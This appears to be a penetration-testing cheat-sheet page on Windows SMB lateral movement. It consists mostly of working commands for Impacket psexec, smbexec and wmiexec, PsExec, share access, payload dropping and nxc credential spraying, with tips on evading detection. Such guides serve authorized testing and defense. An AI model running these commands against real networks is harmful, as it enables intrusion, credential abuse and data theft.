Skip to content
HackIndex.io

PsExec and SMB Lateral Movement

4 min read Created Apr 4, 2026 Last updated Jul 14, 2026

SMB-based lateral movement is the most common technique in Windows environments. All methods use port 445 and valid credentials or hashes, and work against any host where the account has local admin access. The main approaches covered here:

  • Impacket psexec, smbexec, and wmiexec for remote shells from Linux

  • Sysinternals PsExec for shell access from a Windows foothold

  • Direct SMB share operations for file read, write, and staging

  • Credential spraying with nxc to find where credentials are valid across the network

Impacket psexec

Impacket's psexec creates a service on the remote host, uploads a binary via SMB, and returns an interactive shell as SYSTEM. It is noisy (a new service is created and event logs record it), but it gives you an immediate SYSTEM shell.

┌──(kali㉿kali)-[~]
└─$ # With password
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # With NTLM hash
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Local account
┌──(kali㉿kali)-[~]
└─$ impacket-psexec ./$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Execute single command instead of interactive shell
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -c "whoami" 
C:\Windows\system32>whoami
nt authority\system

Impacket smbexec and wmiexec

Both are quieter alternatives to psexec. smbexec creates a service but does not write a binary to disk. wmiexec uses WMI to run commands and leaves no service artifacts: it is the preferred method when you want to avoid detection.

┌──(kali㉿kali)-[~]
└─$ # smbexec: no binary on disk, creates temporary service
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # wmiexec: quietest of the three, runs as the user not SYSTEM
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # wmiexec with specific command
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "ipconfig /all"

wmiexec runs commands as the authenticated user, not SYSTEM. If you need SYSTEM-level access on the remote host, use psexec. If you only need to run commands or transfer data, wmiexec is preferable because it generates fewer artifacts.

Sysinternals PsExec

The original PsExec from Sysinternals runs from a Windows foothold. Requires SMB access and admin credentials. Accepts passwords but not hashes directly: use mimikatz pth to inject a hash first, then run PsExec in the spawned process.

PS C:\Users\Guest\Desktop> # Interactive shell on remote host
PS C:\Users\Guest\Desktop> PsExec.exe \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD cmd.exe
 
PS C:\Users\Guest\Desktop> # Run as SYSTEM on remote host
PS C:\Users\Guest\Desktop> PsExec.exe \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD -s cmd.exe
 
PS C:\Users\Guest\Desktop> # Run command without interactive shell
PS C:\Users\Guest\Desktop> PsExec.exe \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD ipconfig /all
 
PS C:\Users\Guest\Desktop> # Accept EULA silently
PS C:\Users\Guest\Desktop> PsExec.exe /accepteula \\$TARGET_IP -u $DOMAIN\$USER -p $PASSWORD cmd.exe

SMB file access and share operations

Direct SMB share access lets you read and write files on remote hosts without needing a shell. Use this to drop payloads, read sensitive files, or stage data for exfiltration.

┌──(kali㉿kali)-[~]
└─$ # Interactive SMB shell
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # List shares
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD --shares
 
┌──(kali㉿kali)-[~]
└─$ # Enumerate files on a share
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spider_plus
 
┌──(kali㉿kali)-[~]
└─$ # Download a file via smbclient
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/C$ -U $DOMAIN/$USER%$PASSWORD
┌──(kali㉿kali)-[~]
└─$ # smb> get sensitive_file.txt
PS C:\Users\Guest\Desktop> # Mount remote share
PS C:\Users\Guest\Desktop> net use Z: \\$TARGET_IP\C$ /user:$DOMAIN\$USER $PASSWORD
 
PS C:\Users\Guest\Desktop> # List contents
PS C:\Users\Guest\Desktop> dir Z:\
dir Z:\Users\
PS C:\Users\Guest\Desktop> # Copy files
PS C:\Users\Guest\Desktop> copy Z:\Users\Administrator\Desktop\flag.txt C:\Windows\Temp\
copy C:\Windows\Temp\payload.exe Z:\Windows\Temp\
PS C:\Users\Guest\Desktop> # Unmount
PS C:\Users\Guest\Desktop> net use Z: /delete

Spraying credentials across multiple hosts

Before moving to a specific target, verify which hosts accept the credentials. nxc makes this fast: it tests the credential against every host in a range and flags where you have admin.

┌──(kali㉿kali)-[~]
└─$ # Password spray across subnet
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Hash spray across subnet
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Local account spray (bypasses domain restrictions)
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u Administrator -H $NTHASH --local-auth
 
┌──(kali㉿kali)-[~]
└─$ # Run a command on all hosts where creds are valid
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -x "whoami"

When you have a local Administrator hash, always try --local-auth across the entire subnet first. Many environments reuse the same local Administrator password across workstations, and a single hash can give you access to dozens of hosts. For lateral movement using Kerberos tickets instead of hashes see Pass-the-Hash and Pass-the-Ticket.

References